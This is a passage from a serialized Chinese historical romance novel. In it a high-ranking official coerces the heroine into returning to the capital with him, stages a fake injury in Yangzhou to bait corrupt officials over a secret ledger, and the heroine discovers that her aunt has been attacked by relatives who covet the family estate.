她心下一凉:“那是你的授意?” 晏时锦将她的手拿起,长指滑入她柔腻的指缝,十指相扣,颔首道: “你可以这样理解。” “你到底想做什么?” 少女面露一丝惶恐,男子神色平静,淡淡地看向她,还伸手抚了抚她鬓角的碎发: “跟我回京城。” “你喜欢做生意,我可以帮你把苏氏的生意带去京城,亦不会阻止你抛头露面。” “你不想与章齐侯府来往,我会替你摆平,不让他们来扰你。你 不喜我的祖母家人,可不与他们同住,我们单独立府。” “你想做什么都可以做,但前提是,你必须留在京城,不能离开我。” 他搂她入怀,俯身将口鼻埋入少女的发髻中,一字一句,温言道出,听着处处为她着想,毫无杀伤力。 但纪云瑟只看见一张大网向她撒过来,将她罩住,挣脱不得。她身体微颤,幽幽吐出几个字: “若是我不答应呢?” 晏时锦用鼻尖蹭了蹭她的额头,缓声道: “那你们苏氏在扬州和其他各处的生意,恐怕会碰到越来越多的麻烦。” “不知,能不能继续做下去。” 纪云瑟咬牙切齿: “你凭什么敢?” “没有天理王法了么?!” 男子的温唇停在她的额角,弯唇笑了笑: “苏家二小姐没告诉过你么?每个行商之人都有见不得光的手段,苏氏也不例外。” “若是细究,条条都是犯律之事。” “别的不说,你院子里的侍卫,苏氏别苑的那几个伶人,你不知道他们的来历?” “一旦曝光,不仅他们是死路一条,苏氏,也会落得包庇祸藏之罪。” 纪云瑟脸色苍白,唇瓣颤了颤,难以置信地抬眸看向他: “你…用这个威胁我?” “你怎么会是……” 晏时锦看出了她的心思,唇角微勾: “卑鄙无耻之人是么?其实,我一直如此。” “当初,我一时大意,让你离开了我两年多,已是追悔莫及。” “这种事,不可能再发生。” 他说着让人毛骨悚然的话,却动作轻缓,将少女拥入怀中: “云瑟,我真的不能没有你。” “你怨我不择手段也好,恨我机关算尽也罢,好好跟着我,别离开我就行。” 纪云瑟被他这副模样惊得说不出话来,心中五味杂陈,她深吸一口气,眼中突然闪过一丝决绝: “你以为这样就能困住我?” 纪云瑟倏然觉得这个人她已经完全不认识,从前种种在脑海中闪过,她心头的陌生感却愈发强烈,那些温存的记忆骤然被撕得粉碎,她猛然挣脱他的怀抱,退后几步。 几道光影映着男子深邃的黑眸,他身着浅色宽袖外衫,俊目朗颜,原本是温润的气质,却掩不住眉宇间的冷峻,薄唇轻启: “章齐侯府的人你自是不在意,但是苏氏呢?沈绎呢?” “我相信,你不会再逃一次,让他们因你而受牵连。” 纪云瑟紧咬下唇,目光复杂,握了握根本没有力气去握紧的拳头,声音也如同全身骤然散去的力气一般无力嘶哑: “可是,你昨日说,只要我送你回京城,就会放我回来,不会强留我。” 晏时锦俯身向她靠近,纪云瑟后退了几步,直到后背抵着案桌,动弹不得,却被男子一把抱起,放坐在桌上,倾身下来,轻捏她的下巴,从她清亮的眸子里看着自己的面容: “傻瓜,那是骗你的……” 桌上的画纸飞落,他的鼻尖擦着她的气息,定了定,将她所有的怨愤吞没,笔架书册落地,屋内明亮的烛火,映着两人交错的影子,几分剑拔弩张,几分缠绵旖旎。 纪云瑟猛地推开他,清凌凌的双眸蓄着水雾,更显得乌黑的瞳仁微颤,她被这个王八羔子气得胸闷! “你…你你…” 男子粗重的呼吸追了过来,趁机占领她的发声之处,攻城掠地之后,缓缓下移。 纪云瑟被他抵着,清楚地察觉到了他身体的变化,被他气得眼尾泛红,都什么时候了,这厮竟然还想…… 她一口咬在男子的肩胛处,他不怒反笑,唇舌不停,所到之处,莹柔白腻的肌肤泛起一道道酥麻,随着涟漪浮起波动向四周扩散,起伏隆起的雪瓷上有星星点点的红。 颤栗传遍全身,纪云瑟咬紧唇瓣,在全身的力气消逝之前,一拳打在他绑了纱布的正中央…… 月明星寂,屋内的暧昧情浓早已偃旗息鼓,只剩下一盏微亮的烛火,映着床帐内一高一低拱起的两道身影,呼吸交融。 纪云瑟放弃了抵抗,任他搂她入怀,瞟了一眼重新绑上的白纱布上透出的一圈红印,瞥开目光,咬了咬唇: “我要带上崇陶和效猗。” 男子呼出的热气轻拂她的额发: “那是自然。” “还有破竹他们六个人。” 晏时锦垂眸看了她一眼,痛快答应: “好。” 这姑娘就是个银样镴枪头,瞧着厚颜胆大,实则在那事上拘谨得很,他早就不把那几个放在眼里。 “他们跟去京城,亦如在此一般,不能入你我的内院。” 纪云瑟白了他一眼,还未开口,就听他道: “你放心,我的府宅,没有人敢擅闯。” “再说,到了夜里,自有我陪着你。” 纪云瑟轻哧一声: “你就不会出远门?” 已经开始关心他以后会不会日日陪她了?晏时锦唇角噙笑: “若是外出办差,我尽量带着你。” “要实在不便,我会留赤霄保护你。” 纪云瑟闭了闭眼,暗骂了他八百遍,也想抽自己一个耳光,跟他讨论这东西作甚? 她不再说话,翻了个身,背对着男子,直接睡觉。 清晨的日光和煦,透过半透的纱帐映在少女纤长的眼睫上时,已经变成了微弱的淡金色,如同镀了一层清亮的金属色。 纪云瑟被一阵悉悉索索的声音吵醒,后背的温热消失,徒留帐帘内残余的暖融。 崇陶听见了拔步床内的动静,在旁轻声道: “姑娘,您醒了么?” 听见自家姑娘的回应,崇陶将两侧的帐帘捞起,分开挂在月牙钩上。 纪云瑟揉了揉惺忪的睡眼,看着房内摆放的几只大木箱,一时顿住。效猗见她醒来,匆匆过来问道: “姑娘,衣裳奴婢已经全部收拾妥当。” “至于被褥,您看看要带么?” “还有您平日看的书,是全部带着,还是……” 纪云瑟只觉得自己的脑袋一阵撕裂的疼痛,不知该说什么。 崇陶给她备好了洗漱用具,又问道: “还有雪影和金虎,姑娘可要带着它们?” 纪云瑟在心里默默将那王八羔子的祖宗十八代通通骂一遍,她兀自躺回了床榻上,用被衾盖住整颗脑袋。 崇陶和效猗面面相觑,半晌才等到自家姑娘的吩咐: “都带上,除了搬不动的东西,其他的都带上!” 她拒绝不了,给那王八羔子添些堵总可以吧! 一艘颇大的两层楼船早早地停泊在江州渡口。 纪云瑟刚用完午膳,就被赤霄领着,与崇陶效猗上了船,安置在二楼最里侧的厢房内。 她坐在窗下,将帷帽随手一扔,扇着小手绢,透过窗缝看外头甲板上给她来回搬运各式箱笼的戍卫兵。 不多时,却见码头来了两队衙役,清出一条道后,有车马驶过来。 身着宽袖常服,被紫电和青霜紧紧搀扶着的晏时锦,从一辆马车上下来,立刻有跟在后面的几顶官轿里,钻出来几位身着不同眼色官服的男子,躬身上来行礼。 纪云瑟认得,其中唯一一个绯红袍的,就是知府罗弘。 正午的日光热烈,知府衙门的一众官员身着厚厚的官袍,正戴官帽,闷出了一脑门的汗。 待今日见到那位京城来的指挥使被两个下属用力扶着,原本健硕的武官,如今伤重得似奄奄 一息的模样,更是吓得胸背尽湿,不住地擦汗。 罗弘蹙紧眉头,忙上前躬身不敢抬头: “指挥使大人合该在此多养一些时日,您这般回京,路途遥远,下官实在不放心呐!” 万一没养好,他这个天子的亲外甥,在陛下面前复职时也是这副“半死不活”的样子,说不定陛下一把怒火就能烧到千里之外的江州府衙来,他这顶乌纱帽怕是也保不住了。 晏时锦轻咳一声,毫无血色的唇角勉强勾起一丝笑意, “多谢关心,只是,京城还有许多庶务等着我回去处理,拖延不得。再者,盐税一事,承蒙罗大人鼎力相助,已查得些许眉目,我需亲自回京向圣上禀明。” “是…是是。” 罗弘忙不迭地点头,抻着袖口擦了一把汗,心里却暗自叫苦。 前些时日,这位钦差以自己深受重伤为由,将查盐税之事全权交与了他。 若是换到从前,他还能找个理由推诿塞责一下,可是,一听说晏时锦在江州的地盘被刺,伤势甚重,危在旦夕,他的魂都要吓没了,只想若万一这钦差有什么不测,他得想办法将功补过,哪还敢有半分懈怠? 盐税案牵扯甚广,他如履薄冰地查了许久终于鼓捣出一份有眼看的成果,就恰好这位指挥使的伤势好转,能动身回京。他也说不出哪里不对劲,但总觉得这巧合太过蹊跷。 晏时锦客气了几句,不再与他们多言,微微颔首后,由紫电和青霜小心扶着,缓缓踏上甲板。 几人的背影没入船舱内,罗弘长舒一口气,有近侍上前悄声问话: “大人,晏指挥使的行踪,是否立刻上报王爷那边?” 罗弘眼看船上的戍卫兵开始有条不紊地收回船锚,整理缆绳,沉吟片刻: “晚两日,等他们出了江州的地界,再报。” 晏时锦已经在江州出了这样大的事,他难辞其咎,请罪书都写好了,如今,就算拼着得罪那位主子,也得捂两日再说,免得再生变故。 至于那位主子还有没有别的眼线,就不是他能掌控的了。 船帆渐升,江水涌动,行走在船上却如履平地一般,晏时锦进入一间厢房,听见身后的房门关上时,便直起脊背,松开了紫电和青霜的搀扶。 紫电奉了一盏茶过来,晏时锦端坐圈椅上,接过茶盏,抿了一口,看向一早刚刚赶回的青霜,道: “一切可还顺利?” 青霜点头,道: “那本《百官述》藏于李福在清州秘密购置的一处宅院,属下依照他的说法,立时寻到之后,就派人快马赶赴京城,与李福的供状一同呈交给了陛下。” “如今,李福及其女安置在江州戍卫营中。” “至于尤氏,属下在救治了李福之后的第三日,就寻到了她被夏氏关押的处所,并将其救出。” 晏时锦诧异道: “尤氏为何没有一同到戍卫营中?” 青霜点头,又道: “因她有滑胎征兆,军医们皆不擅妇科,故而暂时被秘密安置在一处医馆。” “大人放心,属下已着暗卫留守。” 晏时锦颔首: “此事你等妥善处置,待我回京后面见陛下,看陛下的意思,再将李福押回京城。” 青霜应声,紫电随即道: “世子,您回京的消息立刻就会被夏氏知晓,他们以为书册还在您的手中,定会有所动作。” 晏时锦饮了一口茶,看向窗外的碧波浩荡: “等的就是他们的行动,他们动得越早,死得越快!” “都准备好了么?” 紫电道: “一切妥当!船上有两队江州卫所的戍卫兵,这是明的。除了两个艄公,其余的都是乔装的暗卫。” “属下已吩咐艄公,加紧赶回京城。” 晏时锦将杯盏搁下,眸光幽冽, “不急,得给他们留出行动的时间。” 紫电愣了一瞬,随即抱拳道: “属下明白!” “对了,世子,还有一事……” 晏时锦已起身抬脚: “何事?” 紫电看了一眼青霜,突然一顿,扯了扯唇角,道: “…不…是什么急事,属下先与青霜商议一下,再禀报世子。” 晏时锦有些不耐地斜睨他一眼,蹙眉离开。 船已驶入江心,清风拂面,水波拍打着船舷,发出阵阵低沉的声响。晏时锦负手上楼,就见走道尽头立着崇陶。 她刚从厢房内出来,忽的瞅到了他的身影,敛去慌乱,欠身行礼, “姑爷。” 晏时锦颔首,直接去推门,崇陶似想要阻止,瞧见这位姑爷不明的神色,又噤了口。 男子抬起的手忽的顿住,听见房内传来说话声,节奏轻快,娇语如铃的是纪云瑟,但是另一个温润的男子声音…… 晏时锦蹙眉,推门而入,目光扫过房内,偌大的厢房被一道屏风隔出两间,外间是会客的厅堂,少女坐在窗边的长椅上,手里抱着白毛袖犬,与一侧方桌旁的灰蓝长衫的男子谈笑风生。 沈绎见他进来,面容平静地起身拱手: “指挥使。” 纪云瑟假装没瞧见晏时锦微黯的神色,依旧逗弄着怀中的小狗,向沈绎嫣然一笑: “幸好沈夫子也要回京城,与我同行,不然这漫漫水路当真是乏味至极。” 她回头看了一眼晏时锦,道: “你这艘船宽大,又没有多少人,我便做主邀了沈夫子同乘,你不会介意吧?” 第86章 晏时锦微微颔首,自然而然地在纪云瑟身旁紧挨着她坐下,宽袖抬起放在她身后的椅背处,垂眸道: “素闻扬州景致甚好,我正想着你若觉得此行路途太远,便在扬州停靠,上岸休整几日,”目光瞥过对面的浅衫男子,“如今看来,船上既人多热闹,便不必了?” 纪云瑟顿了顿,这厮何时与她透露过要去扬州的想法?分明是看她私下邀了沈夫子上船同行,故意这么说。 但她既有这样的机会,为何要放弃?她的确早就想去扬州,见姨母一面。 罢了,小女子能屈能伸,她没必要与这王八羔子客气! 轻易就被他拿捏住的少女顿了顿,继续抚着怀中的雪影,迎上他挑衅的黑眸,唇角弯起一抹惊喜的笑意: “真的么?” “你为何早不与我说?” “我也好准备准备,去见姨母呀!” 晏时锦宽袖中的手暗暗揽住了少女的腰,她今日穿的是青绿色的上衣下裳,外搭一件藕粉色的短褙子,男子的袖口随意落在她身后,在视不可察的衣摆下,轻轻捏了她一把: “你想去?” 纪云瑟被他的这番突如其来的挑逗惊得浑身一凛,温热瞬间爬上脸颊,待瞥见男子若无其事的平静面容,和沈绎投来的探询的眸光,也只得忍着不发作,她想向一旁挪动,却被大掌用力按住腰,只能勉强挤出一抹笑: “想。” “我已经好些年没有回外祖家,正好在返京之前见姨母一面。” 晏时锦唇角微勾: “好,吩咐他们在扬州靠岸就是。” “正好,我与你一同去拜会苏氏的长辈。” 沈绎饮了一口茶,眸光微不可察地动了动,向纪云瑟道: “说起来,你也有好些年未回扬州了。” “我记得,当年你十一岁时,曾被苏老爷接去住了几年。” “再回京城时,已经长成了大姑娘,连说话的腔调都带着几分吴侬软语。” 纪云瑟似被他勾起了回忆,细想了片刻,弯眉一笑: “是呢!” “害得我被人嘲笑了许久。” 沈绎摆摆手温言道: “吴语乃古语的分支,颇有些历史,都说‘醉里吴音相媚好’,若是谁笑你,多半是羡慕你会说而不得。” 记得可真清楚! 晏时锦眸光黯了黯,似没有听见他们你一言我一语的叙旧,声色平和: “哦?” “所以,你做淮扬菜的手艺,就是在外祖家学的?” 他的 手不知何时已经探入了少女的衣襟内,粗粝的指腹滑过,圈起一层一层的涟漪,纪云瑟不禁咬唇看了他一眼,男子面上是如往常一般的清冷禁欲,仿佛做这种事的根本不是他。 少女被他抚弄得全身僵住,又不能去拨开他的手,更不能就此突然起身离开,反而被对面的沈绎看出端倪,只得忍着,思绪骤然被他捣乱,皱眉道: “我不会做,只会吃。” 沈绎分毫不察,接过她的话: “不错,我记得云瑟你最喜吃淮扬菜,尤其是那道蟹粉狮子头,回京后一段时日,你时常念叨着,不知有多馋。” 他面上的宠溺笑容清晰可见,纪云瑟身子终于趁男子的手松了松,寻到机会往前坐了坐,试图避开他的触碰,却又被扣住,勉强接口道: “是呢。” “可惜,家里总不做,有一次嬷嬷偷偷带我出去吃,回来时差点被父亲发现,幸好夫子您替我掩护,才免了一顿责骂。” 沈绎只叹道: “令尊对你,实是严厉了些。” “岂不知过多的管教约束只会让人生出逆反之心,反而弄巧成拙,事与愿违。” “强扭的瓜不甜,强人必有所难,有时,放手方是正理。” 他不慌不忙地吹了一吹杯盏中的茶沫子,轻抿一口,姿态闲静。 晏时锦纵是再迟钝,也听出了他话中的其他意味,掀眸看了过去,唇角微扬,不动声色。 藏在衣襟下的手,却如蛇走游龙一般,不知何时悄然窜到了她的腰侧,修长的指节拐了个弯,努力向前够着拨弄了一下。 鸡皮疙瘩从那一处颤栗般蔓延全身,少女瞬间弹跳起身。 蓄着雾气的清灵杏眸眼尾染红,纪云瑟在沈绎诧异的眸光中定了定神,轻咳两声,道: “这…船上…好像…有耗子!” 宽袖随即落回了晏时锦的身侧,他垂眸稍稍整理了一番,目露十分的诧异: “有这等事?” 他的目光落在少女怀中的雪白小犬上,起身从她手中抱过放在地上: “正好让它去抓一抓。” 纪云瑟没好气地轻哧一声: “这是狗,又不是猫。” “你没听过俗语道:‘狗拿耗子,多管闲事’么!” 晏时锦眉梢微挑: “哦?我孤陋寡闻,倒不曾听说,想必,沈太医博学多识,必然知晓。” 他侧头看向沈绎微蹙的眉心,面上客气道: “沈太医的厢房可安排妥当?” 不等他答话,已经吩咐一旁的赤霄: “带沈太医过去休息。路途遥远,养好精神,回京才好入宫复职。” 沈绎微不可察地叹了一口气,起身淡然回应,又从袖中拿出一个荷包,递给纪云瑟: “云瑟,船行颠簸,这里是些防晕浪的药丸,平日里闻一闻可舒坦些,若是真有些不适,直接服用亦可。” 纪云瑟还没来得及应声,晏时锦已经接过,神色淡淡: “沈太医有心,我替卿卿谢过了。” 在沈绎愣神间,男子拉住少女的手,摩挲着温言道: “昨夜你睡得晚,用了午膳后早些歇息吧。” 腕上的力道不轻,纪云瑟自是不能再因两人的矛盾连累沈绎,配合地挤出笑容应了一声,结束这一波激流暗涌。 沈绎淡然离去,效猗等人亦识趣退下,静默片刻后,纪云瑟看了一眼手腕上的劲长指节,不耐抬眼: “刚才那个称呼,是何意?” 晏时锦松开她,将手里的荷包径直扔出窗外: “楼船平稳,在船上如履平地一般,无需这东西。” 纪云瑟: “你……” 这人也太蛮横了吧! 男子俯首附在她耳畔, “夫人、卿卿,或是伊伊、冤家,你想我叫你什么?” 纪云瑟: “……” 前面几个就算了,“冤家”又是哪来的? 突然,她想起了最近看的一个话本,这厮是如何知道的?她一直搁在床头,不会是他什么时候偷看了?果不其然,下一瞬,就听见一个厚颜无耻的声音: “你是不是喜欢‘冤家’多一些?” “但我们可以私下叫,当着外人的面,还是唤‘卿卿’合适些。” 手被他一直攥紧,纪云瑟已经嗅到了一丝危险的意味,她定了定神: “我已问过了紫电,你一路上定有许多公事要处理,我不能打搅你,我们还是……” 男子将人拉入怀中,隔着锦缎相贴,一半炽热,一半生凉, “不打搅。” “你私自叫了沈绎同行,不就是想让他看看你我夫妻恩爱情深?” 纪云瑟按住了他受伤的那边肩膀,语气中带了几分威胁: “……别忘了,你还有伤。” 男子轻咬住她的唇瓣,模糊吐出几个字: “你可以再来一拳。” 纪云瑟拳头紧了紧,终是没有下手,但晏时锦亦只是亲吻了她片刻后,便放过了她。 “卿卿还是舍不得吧?” “我还有些事需商议,你用膳之后,自己好生歇息。” “……夜里继续。” 男子握住了她的小拳头,啄了啄她的下唇,依依不舍地放开她,步出屋外。 纪云瑟胀红了脸,咬牙切齿: “……” ~ 江南盐茶道府衙坐落在江南四州之首的扬州,时任盐茶道史的章茂在官廨内刚刚送走紫电,不多时,从红酸枝六扇屏风后,步出一个中年男子,拱手行礼: “孙大人。” 正是扬州府通判孙魁,他是章茂到任盐茶道后,亲手提拔上来的心腹。 有衙役从外关上了门,孙魁看着逐渐合拢的门缝中,紫电绕过影壁离去的方向,行至他的身旁,悄声问道: “大人,这位指挥使大人的贴身直卫所言,您怎么看?” 章茂捋着羊角须: “据江州回来的消息,钦差遇刺受伤,确有此事,但具体伤势,却无人知晓。” “江州府一行人只是送他上船时才见了他一面,据说看着伤势甚重。” 孙魁道: “如此看来,他说要在扬州养伤几日,并不是托辞?” “不知王爷那边,是什么意思?” 章茂道: “王爷能有什么意思?” “纵使他是来查盐茶税的,那偷税者并不只有我们的人。他想查,咱们就让他查。” “何况……” 孙魁见他话中有他意,靠近了他一些垂首倾听,章茂踱了几步,看了他一眼,终是没有开口,只道: “他今日在州府衙门,孟良才面前说了什么?” 孙魁正是在紫电前脚从州府衙门出来,后脚跟着到了盐茶道府,见到章茂后,二人还未说上话,已有衙役来报,紫电来传钦差的话。 孙魁便道: “他只向孟知府要了一间隐秘的宅子养伤,又要了一名驿使,说是有急信送往京城。” 章茂眉头一皱,道: “让驿使送急信?” “你没听错?” 孙魁道: “不可能,此事孟大人亲口吩咐下官去办的,要千里马,百里加急。” 章茂挑了挑眉: “那倒奇了。” 那样重要的书册,只派个不会武功的驿使去送?究竟是真的,还是虚晃一枪?其实,真正的书册还在钦差的手里? 都有可能。 如果,他是蔚王的人,那他定会双管齐下,既要追踪送信的驿使,拼死将书册截下,还要对付在扬州养伤的钦差。 但章茂并未将《百官述》一事告诉孙魁,他是在晏时锦受伤之后,才得知他们一行人远赴江南的真正目的。这也是他当日的困惑之一,晏时锦虽是陛下的亲外甥,但毕竟是个武官,从前虽赴江南处理过几件案子,但论理查盐茶税这等事,是不会由他出面。 果然,最终的目的是《百官述》。 孙魁小心打量着这位实际上峰的神色,问道: “大人,那咱们下一步……” 章茂道: “小心派人盯着就是。” “他明面上是为盐茶税而来,定然要查出些东西才罢休,江州的罗弘已经揪了不少人出来,扬州自然也不能干净,但这些与咱们无关。” “你只需帮着孟良才把戏台子搭好就成。” 该着急的是那位扬州知府。 时值盛夏,城北的知府衙门内几棵老树参天,蝉鸣不止。 知府官廨中,师爷看了一眼端坐案桌后奋笔疾书的知府孟良才拧紧的眉心,忙吩咐守在门口的衙役: “耳朵聋了,都听不见叫声?还不快去把那些烦人的小东西处理了!” 衙役领命而 去,师爷躬身回到廨内的案桌旁。孟良才将书信写毕,装入封内,用烛火引燃火漆,瞬间滴落,加盖印章,吩咐道: “立刻将此信送出!” 师爷犹豫了一瞬,问道: “大人,那钦差已经在扬州界内,若是要行事,恐怕……” 孟良才道: “你莫不知,本官的名字也在那本书册上?” “左右不管我的脖子伸不伸,都是一刀。不如赌一回,赢了,或许还能有条生路。” 原本还以为要在钦差回京的路上动手,却不料他突然宣称伤重无法赶路,出乎意料地在扬州靠岸,来此养伤。 着实是苦了他这位扬州知府,若是他动手,无异于监守自盗,但若是听之任之,钦差一旦回京,那《百官述》便会成为悬在他头顶的利剑,随时可能落下砍了他的脑袋。 与其坐以待毙,不如拼死一搏,或许还能搏出一线生机。 师爷小心觑着这位大人的神色,道: “大人,卑职有一言,不知当讲不当讲。” 孟良才斜睨他一眼: “若是忤逆之言,便不必说。” 师爷擦了擦头上的汗,靠近了他一步,在他耳畔悄声道: “卑职是觉得,圣上就算拿到了那本书册,也不可能对所有记录在上的人问责。” “不过是,有拿捏之意。” “若是大人您向钦差大人表示忠心,卑职觉得……” 孟良才目光不善地看向他,抿唇不语。师爷鼓起勇气,继续道: “大人好不容易坐到如今的位置,为何要为他人做嫁衣呢?” 一朝天子一朝臣,在这地方州府也是一样,他好不容易跟着孟良才走到如今,自然不希望这位大人一朝倾覆。毕竟,大树底下好乘凉,只要大树不倒,他们这些依附之人也能保全富贵荣华。 孟良才捏紧了手中的私印,半晌方道: “你知道什么?” “还不快去!” 他曾是夏太师的门生,这辈子不可能撇清与夏氏的关系,况且这些年,夏氏一族发展迅速,门下之人已渗入大缙朝的各处机构,牵一发而动全身,如今,他已无路可退。 师爷无奈,只得应声退下,吩咐人将密信妥善送出后,又引着早已到州府衙门候着的两位大夫前去安置钦差的秘密宅院。 扬州城东的一座幽静的别苑,是孟良才的一处私宅,师爷几人穿过竹林小径,行至一处白垣修舍。檐廊下有几名护卫肃立,目光如炬扫视过来。 师爷躬身拱手,说明了自己的身份和来意,却依旧被挡在门外,不多时,另有几个面目冷肃的护卫端着盛满血水的铜盆匆忙出来,铜盆中血色浓重,隐隐带着丝丝黑影,令人心惊。 师爷心中一紧,忙低声问道: “敢问,钦差大人情况如何?” “下官带了扬州城最好的大夫过来,帮大人看诊。” 护卫面无表情,只冷冷回道: “先等着,唤你进去再说。” 师爷心下微凛,暗自思忖钦差伤势的严重性。约莫半盏茶时间,紫电开了门出来,一阵明显的血腥气随即涌入鼻腔内,师爷正想跟在两个大夫后脚入内,却被紫电叫住: “师爷,有几件事,大人吩咐我向师爷请教一二。” 他抬手做了一个向耳房请的手势,师爷心领神会,看了一眼半透的屏风后,似躺着一个人影,其余几人围在罗汉床边悉窣忙碌,跟着去了耳房。 两个大夫刚刚绕过屏风,早已等在两侧的两个护卫迅速制住他们咽喉,还未等二人反应过来,已经被喂入了一粒气味古怪的药丸,护卫扣在二人下颌处的手指稍稍用力,立即吞咽了下去。 两个大夫骇然一惊,吓得面如土色,差点站立不稳,却被二名护卫扣住发不了一言,动弹不得。 随即,原本躺在床榻上,看起来面白如纸的清隽男子突然起身,状若无事般收拢了尚沾着血迹的衣裳,行至二人面前,高硕的身形极具压迫感,声色森冷: “二位分别是城南悬壶堂和城西济世堂的郑大夫和王大夫,是吧?” 郑王二人面面相觑,惊慌点头。 晏时锦将外衫随意系好,继续道: “二位刚才服用的毒丸,若是七日内服用解药的话,不会危及生命。” “而我,会在江州待约七日左右,需要二位按我的要求,为我治病。到第七日我离开扬州时,自会将解药给二位。” “听懂了么?” 郑、王二人毫不犹豫地点头。 晏时锦负手而立,目光如利刃般扫过二人: “奉劝二位最好不要有异心,这七日,如果有什么未经我许可的话传了出去,你们可知会有何后果?” 他淡然整了整衣襟: “若是我没说错的话,郑大夫有两子一女,三个孙儿两个孙女,王大夫有一妻一妾,育有三子,最大的十七,尚未娶妻。” 二人纵是再蠢也听出了其中的恐吓意味,早已吓得魂不附体,点头如捣蒜一般。 晏时锦看了一眼身旁的青霜,青霜会意,与赤霄松了手,将二人带至一旁,仔细吩咐。 不多时,师爷和紫电从耳房走出,紫电客气道: “这些事,还需劳烦师爷全权处理。” 师爷客气拱手: “定不负大人所托。” 见紫电看着主屋的方向神色凝重,师爷小心问道: “钦差大人的伤势,不知如何?” 紫电叹气,却并不回答,只道: “大人的伤势,万不可透露出去。” “对你我,对知府大人来说,都不是好事。” 师爷心知肚明,忙道: “大人放心,下官知晓其中厉害。” 二人在房外候了许久,方等到满头大汗的郑、王二位大夫出来,紫电等不及,径直入房内看自家主子,师爷带着二人往回走,低声询问: “钦差大人情况如何?” 年长的郑大夫抹了把汗,颤声道: “伤口靠近心脉,且暗器有毒,情况不甚乐观。我等虽已尽力清理毒素,但因先前有些耽误,毒素有些许入了五脏,还需密切观察,以防毒发。” “我已与王大夫商议,根据大人的情况研制汤剂和外敷解毒之药,或许能保命。” 师爷顿了顿: “真有如此严重?” 郑、王二人神色凌肃,笃定道: “草民不敢诓骗大人。” 师爷闻言浑身一凛,只得吩咐着: “你二人小心医治,若需什么特殊药材,只管与我开口。” 竹影婆娑,有凉风灌入窗棂的屋内,血腥气逐渐散去,青霜重新给晏时锦包扎好伤口,问道: “世子,咱们下一步,如何打算?” 晏时锦将外衫脱下: “等。” “等他们上门。” 紫电道: “世子,《百官述》的复刻本属下已经准备好,您真的觉得孟良才会在自己的地盘上,派人抢夺书册么?” 晏时锦道: “若是他想活命的话,必须这么做!” 让孟良才派驿使送书册是个幌子,和他在此“养伤”都是为了给将真正的《百官述》送往京城的暗卫争取时间,七日,还有七日定能到京城。 只要书册到了陛下的手中,他们再乘船回京,就可一帆风顺。 他吩咐紫电青霜几人: “我去一趟扬州卫所,此处你们好生应付。” 说罢,他穿上了与门外的戍卫一样的衣饰,趁着戍卫换防之时,悄然潜出府邸,隐入暗巷之中。 第87章 扬州苏氏大宅坐落于城东,是一座雕梁砖刻、重楼叠嶂的典型江南园林。 纪云瑟对此处的印象还停留在数年之前,门房的小厮并不识得她,唤了一位田姓老管事过来,倒是一眼认出了: “小小姐?” 纪云瑟道: “您还认识我?” 田管事叹道: “小小姐虽与小时候有些不一样,但您这张脸有七分像老爷,老奴不会认错。” 将一行人迎入宅内,在一处花厅命人上茶和吃食后,田管事道: “小小姐稍后片刻,老奴这就着人去给您准备屋子。” 纪云瑟道: “姨母在家么?我想先去见她。” 田管事皱眉不语,微微叹气。纪云瑟顿感情形不对,她一路进来时,就觉着宅内的气氛有些压抑,一阵不祥之感袭来,她问道: “姨母怎么了?” 田管事深深看她一眼: “您跟我来。” 纪云瑟跟着田管事来到记忆中苏滢所居的院子里,积玉听到消息,抹着泪至月洞门相迎。 “姨母出什么事了?” 积玉抿唇: “奴婢正要给小小姐您传信去呢,幸好您提前过来了。” “小小姐先去看看二小姐罢。” 纪云瑟快步走入房中,一下看到了躺在拔步床内的苏滢,她头上绑着一圈纱布,面色苍白,双目紧闭。纪云瑟大惊失色, “姨母怎么了?何时受伤的?” 积玉哽咽道: “就在昨日二小姐归家时,突然从巷口窜出一匹疯马,直接撞到二小姐从马车上摔下,头部受了重伤,至今昏迷不醒。” “大夫说她脑中有瘀血,恐需施针治疗。却不巧,扬州城那位最擅针灸的大夫两日前回了苏州老宅,田管事已经着人去接,最快也要明日才能到。” 纪云瑟擦了泪,吩咐效猗: “快去驿站,请沈夫子过来。” 效猗领命而去,纪云瑟守在床边,掩下内心的不安和焦虑,问道: “可有查到那疯马的来历?” 积玉目露愤恨: “不用查也知道,就是四老爷和五老爷他们做的!” “这些时日见二小姐在家,他们便撺掇族长二太老爷开了宗祠议事,逼迫二小姐在族中选一个子嗣认为义子,二小姐不答应,他们便使出这种下作手段,想害死二小姐,夺了咱们的家产。” 纪云瑟才知这几年,外祖的两个弟弟见苏氏的产业愈发做大,更是眼红心急,多次暗中使绊,幸好姨母早有防备,一一化解。 谁知苏滢从暹罗回来之后,他们变本加厉,除了这一次的疯马,之前还有数次暗算。 积玉越说越激动,也顾不得许多,直言道: “若是奴婢没有猜错,他们定是以为小小姐您已死,家中真的后继无人,且咱们与京城再无瓜葛,少了章齐侯府这一层的关系,害起人来更加肆无忌惮!” 纪云瑟一愣,但细思之下,的确有这番道理,外祖父这一脉,只剩下姨母和她,论理她做为外孙女,没有资格承继外祖的产业,但若苏滢让她入嗣苏氏,她与苏滢一样承诺在室不嫁,也能成为苏氏掌权人。 但偏偏她假死,四房五房听说了消息,便以此为由,强迫苏滢认义子。 从前,他们或许还会顾及苏氏与京城侯府的关系,有几分忌讳不会把事情做绝,以免惹祸上身,但如今,只怕真的无所顾虑了。 恐怕,连那擅针灸的大夫回了什么祖宅,都是那起子人的安排,分明要置姨母于死地! 纪云瑟握紧拳头,没想过自己的这个决定竟会连累姨母,她看了一眼床榻上的苏滢,向积玉道: “你好生照顾好姨母,其他事,我来想办法。” 不多时,沈绎闻讯赶来,纪云瑟简单地与他说了原委,沈绎先给苏滢诊脉,细细查看她的伤势后,道: “淤血并未完全堵塞血脉,我需立刻施针。” “若是一切顺利的话,二小姐这两日就能醒来。” 他取出针囊,安慰了纪云瑟几句,开始替苏滢行针。 纵使沈绎的医术纪云瑟信得过,但她在一旁看着一根一根的银针刺入苏滢的头上穴位,依旧是胆战心惊,若不是她和沈绎恰好来了扬州,姨母独自一人,要如何面对? 纪云瑟吩咐积玉好生在旁伺候着,自己去寻苏滢的另一个贴身婢女,亦是苏宅的大管家堆金,想先去看看那匹马有什么异样,却见田管事急匆匆走来: “小小姐,出事了!” “四爷五爷他们又叫上了二老太爷,非要进来看二小姐,还带着自家的两个子孙,说若是二小姐还未醒来的话,便要咱们交出管事对牌,接管部分产业。” 纪云瑟攥了攥拳,怒火中烧,她思索一瞬,叫来效猗: “你立即要破竹去马棚仔细看看那匹疯马。” 再向田管事道: “你去府衙,把姨母从前交好的州府官爷请来。” 